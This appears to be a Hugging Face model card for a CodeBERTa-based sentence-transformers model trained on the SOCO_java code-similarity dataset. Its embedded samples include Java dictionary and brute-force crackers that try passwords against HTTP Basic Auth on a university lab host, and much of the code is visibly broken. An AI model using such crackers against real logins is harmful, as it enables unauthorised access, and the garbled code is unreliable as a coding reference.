| | \ oldF.removeElementAt(j);\n\n\n\t \t\t \t}\n\n\t \t \t}\n\n\n\n\t \tfor (int\ |
| | \ i=0; i<newF.size();i++){\n\n\t \t mesg.append((String)(newF.elementAt(i)));\n\ |
| | \t \t mesg.append(\"\\n\");\n }\n\n\n\t mesg.append(\"OLD CONTENT:\ |
| | \ \\n\");\n\n for (int i=0; i<oldF.size();i++){\n\n mesg.append((String)oldF.elementAt(i));\n\ |
| | \ mesg.append(\"\\n\");\n \n\t \t}\n\n \n\n\n\t return mesg.toString();\n\ |
| | \n\n\n\t \n\n\n}\n\n\n\nprivate static void SendMail (String mesg, \n \ |
| | \ String host,String mailhost, String sending ) throws IOException {\n\t\n \ |
| | \ String send_cmd = \"\";\n\n\ttry {\n\t\t\n\t\tSocket s = new Socket (host,\ |
| | \ 25);\n\t\t\n\t PrintStream os = new PrintStream (s.getOutputStream());\n\t\ |
| | \ \n send_cmd = \"HELO \" + mailhost;\n \n os.print(send_cmd\ |
| | \ + \"\\r\\n\");\n \n send_cmd = \"MAIL From : website@cs.rmit.edu.\"\ |
| | ;\n \n os.print(send_cmd + \"\\r\\n\");\n \n send_cmd\ |
| | \ = \"RCPT : \" + sending;\n \n os.print(send_cmd + \"\\r\\n\"\ |
| | );\n \n send_cmd = \"DATA\";\n \n os.print(send_cmd\ |
| | \ + \"\\r\\n\");\n \n send_cmd = (\"Subject: Website Change Notice\"\ |
| | );\n \n os.print(send_cmd + \"\\r\\n\");\n \n os.print(\"\ |
| | \\r\\n\");\n \n os.print(mesg+\"\\r\\r\\n\");\n \n \ |
| | \ os.print(\".\\r\\n\");\n \n os.print(\"QUIT\");\n \n \ |
| | \ \t\n\t} catch (IOException e) {\n\t\tSystem.out.println(e);\n\t}\n\t\n\n\t\n\ |
| | \ }\n\n\nprivate static String trimtag (String mesg){\n\t\n\tString[] taglist\ |
| | \ = {\"<a\", \"<A\", \"<applet \", \"<APPLET\", \"<img \", \"<IMG \"}; \n\t\n\t\ |
| | String subst = \"\";\n\t\n\tStringBuffer tempst= new StringBuffer();\n\tint j\ |
| | \ = 0;\n\t\n\tint i = 0;\n\t\n\tint m = 0;\n\t\n\t\n\twhile (mesg.length()!=0)\ |
| | \ {\n\t \n\t m=0;\n\t \n\t i = mesg.indexOf(\"<\");\n\t \n\t \n\t\ |
| | \ if (i!=-1) {\n\t \n\t tempst.append(mesg.substring(0,i));\n\t \ |
| | \ \n\t \t\n\t } \n\t else { \t\n\t tempst.append(mesg.substring(0));\n\ |
| | \t break;\n }\n\t \n\t \n\t j = mesg.indexOf(\">\"); \n\t\n\t \ |
| | \ \n\t subst=mesg.substring(i,j+1); \n\t \n\t while (subst.startsWith(taglist[m])==false)\ |
| | \ {\n\t \t\n\t \tm++;\n\t \t\n\t \tif (m==taglist.length) \n\t \t\n\t\ |
| | \ \t{ m--;\n\t \t\tbreak;\n\t }\n\t \t\n\t \t}\t\n\t \n\t if\ |
| | \ (subst.startsWith(taglist[m])) tempst.append (subst);\n\t \n\t \n\t mesg\ |
| | \ = mesg.substring(j+1);\n\t \n\t \n\t }\n\t\n\t return tempst.toString();\n\ |
| | \t \n\t}\n\n\n\n\n} " |
| | sentences: |
| | - "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\ |
| | \ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\ |
| | \ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\ |
| | \ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \ |
| | \ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\ |
| | \ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \ |
| | \ \n while(tmp!=1)\n {\n try\n {\n\ |
| | \ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\ |
| | \ tmp=1;\n }\n catch (IOException e) {}\n\ |
| | \ \n } \n\n while ((str = in.readLine()) !=\ |
| | \ null) \n {\n \n \n \n }\n \ |
| | \ \n\n System.out.println(\"The successful Password found using\ |
| | \ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\ |
| | \ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\ |
| | \ extends Authenticator \n{\n String username = \"\";\n static String password\ |
| | \ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \ |
| | \ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \ |
| | \ try\n {\n fReader = new BufferedReader\n \ |
| | \ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\ |
| | \ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\ |
| | );\n System.out.println(\" File Opened\");\n System.exit(1);\n\ |
| | \ }\n catch (IOException e)\n {\n System.out.println(\"\ |
| | File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\ |
| | \ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\ |
| | \ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\ |
| | \ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\ |
| | \ {\n System.out.println(\"Password Not found in file '\" +\ |
| | \ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \ |
| | \ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\ |
| | );\n System.out.println(ioe);\n }\n\n return password;\n }\n\ |
| | \n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\ |
| | \ \n return new PasswordAuthentication(username, getPass().toCharArray());\ |
| | \ \n\n } \n}\n" |
| | - "\nimport java.util.*;\n\npublic class CrackThread implements Runnable {\n\n \ |
| | \ private String strUsername;\n private String strURL;\n private int iSeed;\n\ |
| | \ private int iEnd;\n \n \n public CrackThread() {\n }\n \n\ |
| | \ public void setParams(String url, String username, int seed, int end) {\n\ |
| | \ strUsername = username;\n strURL = url;\n iSeed = seed;\n\ |
| | \ iEnd = end;\n }\n \n public void run() {\n Date dtStart,\ |
| | \ dtEnd;\n PasswordGen pwd = new PasswordGen();\n PasswordTest tester;\n\ |
| | \ int i=1;\n boolean bDone = false;\n Result res;\n\n \ |
| | \ dtStart = new Date();\n \n \n pwd.setSeed(iSeed);\n\ |
| | \ \n while(!bDone) {\n tester = new PasswordTest(strURL,\ |
| | \ strUsername, pwd.getNextPassword());\n \n bDone = tester;\n\ |
| | \ i++;\n \n \n if(i % 100 == 0)\n\ |
| | \ {\n System.out.println(pwd.getPassword());\n \ |
| | \ }\n \n if(bDone) {\n \n \ |
| | \ res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new\ |
| | \ Date(), i);\n System.out.print(res.toString());\n \ |
| | \ }\n else\n {\n \n }\n \ |
| | \ \n \n if( i >= iEnd) bDone = true;\n } \ |
| | \ \n }\n \n}\n" |
| | - "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\ |
| | \npublic class Dictionary extends Frame implements ActionListener {\n\n private\ |
| | \ TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n\ |
| | \ public void actionPerformed (ActionEvent e) {\n\t String s = tf.getText();\n\ |
| | \t String login=\"\";\n try{\n\t BufferedReader bufr = new BufferedReader\n\ |
| | \t\t\t(new FileReader (\"words1.txt\"));\n\t String inputLine=\"\";\n\n\n\n\t\ |
| | \ if (s.length() != 0)\n {\n\t\t inputLine = bufr.readLine();\n\t\t while\ |
| | \ ((inputLine != null) && (inputLine.length() != 3))\n\t\t {\n\t\t\t \n\t\t\t\ |
| | \ inputLine = bufr.readLine();\n\t\t }\n\n login=\":\"+inputLine;\n\ |
| | \t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println(\"runing\"\ |
| | +login);\n\t }while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"\ |
| | Error URL\")!=0);\n\n\t System.out.println(\"The password is: \"+inputLine);\n\ |
| | }\ncatch(Exception ex){}\n\n }\n\n public Dictionary() {\n\n super (\"URL11\ |
| | \ Password\");\n\n \n add (tf, BorderLayout.LEFT);\n ta.setEditable(false);\n\ |
| | \ add (ta, BorderLayout.CENTER);\n tf.addActionListener (this);\n \ |
| | \ addWindowListener (new WindowAdapter() {\n public void windowClosing (WindowEvent\ |
| | \ e) {\n dispose();\n System.exit(0);\n }\n });\n \ |
| | \ }\n\n private String fetchURL (String urlString,String login) {\n StringWriter\ |
| | \ sw = new StringWriter();\n PrintWriter pw = new PrintWriter();\n\n try\ |
| | \ {\n URL url = new URL (urlString);\n\n \n MyAuthenticator =\ |
| | \ new MyAuthenticator();\n \n\n \n String encoding = new url.misc.BASE64Encoder().encode\ |
| | \ (login.getBytes());\n\n \n \n\n \n URLConnection uc =\ |
| | \ url.openConnection();\n uc.setRequestProperty (\"Authorization\", \"\ |
| | \ \" + encoding);\n InputStream content = (InputStream)uc.getInputStream();\n\ |
| | \ BufferedReader in =\n new BufferedReader (new InputStreamReader\ |
| | \ (content));\n String line;\n while ((line = in.readLine()) != null)\ |
| | \ {\n pw.println (line);\n }\n } catch (MalformedURLException\ |
| | \ e) {\n pw.println (\"Invalid URL\");\n } catch (IOException e) {\n\ |
| | \ pw.println (\"Error URL\");\n }\n return sw.toString();\n }\n\ |
| | \n\n public static void main (String args[]) {\n Frame f = new Dictionary();\n\ |
| | \ f.setSize(300, 300);\n f.setVisible (true);\n }\n\n class MyAuthenticator\ |
| | \ {\n String getPasswordAuthentication(Frame f, String prompt) {\n final\ |
| | \ Dialog jd = new Dialog (f, \"Enter password\", true);\n jd.setLayout (new\ |
| | \ GridLayout (0, 1));\n Label jl = new Label (prompt);\n jd.add (jl);\n\ |
| | \ TextField username = new TextField();\n username.setBackground (Color.lightGray);\n\ |
| | \ jd.add (username);\n TextField password = new TextField();\n \ |
| | \ password.setEchoChar ('*');\n password.setBackground (Color.lightGray);\n\ |
| | \ jd.add (password);\n Button jb = new Button (\"OK\");\n jd.add\ |
| | \ (jb);\n jb.addActionListener (new ActionListener() {\n public\ |
| | \ void actionPerformed (ActionEvent e) {\n jd.dispose();\n }\n\ |
| | \ });\n jd.pack();\n jd.setVisible(true);\n return username.getText()\ |
| | \ + \":\" + password.getText();\n\n }\n }\n\n}\n \n\n class Base64Converter\n\ |
| | \ \n \n {\n\n public static final char [ ] alphabet = {\n\ |
| | \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L',\ |
| | \ 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\ |
| | \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j',\ |
| | \ 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\ |
| | \ 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7',\ |
| | \ '8', '9', '+', '/' }; \n\n \n \n\n public static String encode\ |
| | \ ( String s )\n \n {\n return encode ( s.getBytes ( ) );\n\ |
| | \ }\n\n public static String encode ( byte [ ] octetString )\n \ |
| | \ \n {\n int bits24;\n int bits6;\n\n char [ ] out\n\ |
| | \ = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n \ |
| | \ int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <=\ |
| | \ octetString.length )\n {\n \n bits24 = ( octetString\ |
| | \ [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF )\ |
| | \ << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n \ |
| | \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ |
| | \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ |
| | \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ |
| | \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ |
| | \ = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6\ |
| | \ ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \ |
| | \ \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n \ |
| | \ bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24\ |
| | \ & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\ |
| | \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ |
| | \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n \ |
| | \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ |
| | \ [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i ==\ |
| | \ 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF )\ |
| | \ << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\ |
| | \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n\ |
| | \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ |
| | \ [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n\n \ |
| | \ return new String ( out );\n }\n\n \n \n }\n\n" |
| | - source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\ |
| | \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\ |
| | \ char [] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n \ |
| | \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
| | \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
| | \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
| | \ 'v',\n 'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\ |
| | \ {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+\"\ |
| | \"+alphabet[j]+\"\"+alphabet[k];\n String userPassword = \":\"+pwd;\n RealThread\ |
| | \ myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n\ |
| | \ th.start();\n try\n {\n \n \n th.sleep(100);\n }\n \ |
| | \ catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\ |
| | \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\ |
| | \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\ |
| | \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\ |
| | http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\ |
| | \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\ |
| | \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n\ |
| | \ String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ |
| | \n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"\ |
| | Authorization\", \" \" + encoding);\n System.out.println(\"Reponse = \"+uc.getResponseCode()+\"\ |
| | for pwd = \"+userPassword);\n this.responseCode = uc.getResponseCode();\n \n\ |
| | \ if(uc.getResponseCode()==200)\n {\n System.out.println(\" ======= Password\ |
| | \ Found : \"+userPassword+\" ========================================= \");\n\ |
| | \ System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println(\"\ |
| | Could not execute Thread \"+num+\" \");\n }\n }\n\n}\n" |
| | sentences: |
| | - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\ |
| | \ class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t\ |
| | \ = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\ |
| | \t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr =\ |
| | \ t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre\ |
| | \ = new InputStreamReader(pr.getInputStream());\n BufferedReader\ |
| | \ bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\ |
| | \t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t \ |
| | \ System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t \ |
| | \ pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\ |
| | \t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader\ |
| | \ stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader\ |
| | \ bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\ |
| | \t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\ |
| | \t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5\ |
| | \ == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\ |
| | \t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\"\ |
| | );\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\ |
| | \t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\ |
| | \ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\ |
| | \ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\ |
| | \ e){}\n\t}\n}\t\t\n" |
| | - "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\ |
| | \ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\ |
| | \ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\ |
| | \ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \ |
| | \ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\ |
| | \ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
| | ;\n\n while (!auth) {\n \n BufferedReader in = null;\n \ |
| | \ try {\n \n in = new BufferedReader(new FileReader(file));\n\ |
| | \ while ((word = in.readLine()) != null && !auth) {\n \ |
| | \ try {\n if (word.length() <= MAX_LENGTH) {\n \ |
| | \ password = word.toCharArray();\n \n \ |
| | \ Authenticator.setDefault(new CrackAuth(password));\n \ |
| | \ URL url = new URL(resource);\n HttpURLConnection conn\ |
| | \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ |
| | HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ |
| | \ {\n System.out.println(\"cracked with \" + new String(password));\n\ |
| | \ auth = true;\n }\n \ |
| | \ }\n } catch (Exception e) {\n System.out.println(\"\ |
| | \ was exception: \" + e.getMessage());\n }\n }\n\n \ |
| | \ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\ |
| | File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\ |
| | IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\ |
| | \ } finally {\n try {\n in.close();\n \ |
| | \ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\ |
| | \ System.out.println(\"Unable determine password\");\n } else {\n\ |
| | \ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\ |
| | it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\ |
| | \ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\ |
| | \ public CrackAuth(char[] password) {\n this.password = password;\n }\n\ |
| | \n protected PasswordAuthentication getPasswordAuthentication()\n {\n \ |
| | \ String user = \"\";\n return new PasswordAuthentication(user, password);\n\ |
| | \ }\n}\n" |
| | - "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\ |
| | import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\ |
| | \nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\ |
| | import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\ |
| | import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \ |
| | \ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\ |
| | );\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\ |
| | recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\ |
| | sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\ |
| | messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ |
| | \ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\ |
| | \ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\ |
| | \ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\ |
| | Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\ |
| | \ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\ |
| | \t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\ |
| | \ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\ |
| | \ static void send(String smtpServer, String receiver,\tString from, String subject,\ |
| | \ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\ |
| | \n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\ |
| | mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\ |
| | , \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\ |
| | \ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\ |
| | \t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\ |
| | InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\ |
| | \n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\ |
| | \t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\ |
| | \ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\ |
| | catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n" |
| | datasets: |
| | - buelfhood/SOCO_java |
| | pipeline_tag: sentence-similarity |
| | library_name: sentence-transformers |
| | --- |
| | |
| | # SentenceTransformer based on huggingface/CodeBERTa-small-v1 |
| |
|
| | This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the soco_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
| | |
| | ## Model Details |
| | |
| | ### Model Description |
| | - **Model Type:** Sentence Transformer |
| | - **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 --> |
| | - **Maximum Sequence Length:** 512 tokens |
| | - **Output Dimensionality:** 768 dimensions |
| | - **Similarity Function:** Cosine Similarity |
| | - **Training Dataset:** |
| | - soco_java |
| | <!-- - **Language:** Unknown --> |
| | <!-- - **License:** Unknown --> |
| |
|
| | ### Model Sources |
| |
|
| | - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
| | - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
| | - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
| |
|
| | ### Full Model Architecture |
| |
|
| | ``` |
| | SentenceTransformer( |
| | (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
| | (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
| | ) |
| | ``` |
| |
|
| | ## Usage |
| |
|
| | ### Direct Usage (Sentence Transformers) |
| |
|
| | First install the Sentence Transformers library: |
| |
|
| | ```bash |
| | pip install -U sentence-transformers |
| | ``` |
| |
|
| | Then you can load this model and run inference. |
| | ```python |
| | from sentence_transformers import SentenceTransformer |
| | |
| | # Download from the 🤗 Hub |
| | model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss-2") |
| | # Run inference |
| | sentences = [ |
| | '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n String userPassword = ":"+pwd;\n RealThread myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n th.start();\n try\n {\n \n \n th.sleep(100);\n }\n catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty ("Authorization", " " + encoding);\n System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword);\n this.responseCode = uc.getResponseCode();\n \n if(uc.getResponseCode()==200)\n {\n System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println("Could not execute Thread "+num+" ");\n }\n }\n\n}\n', |
| | 'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new 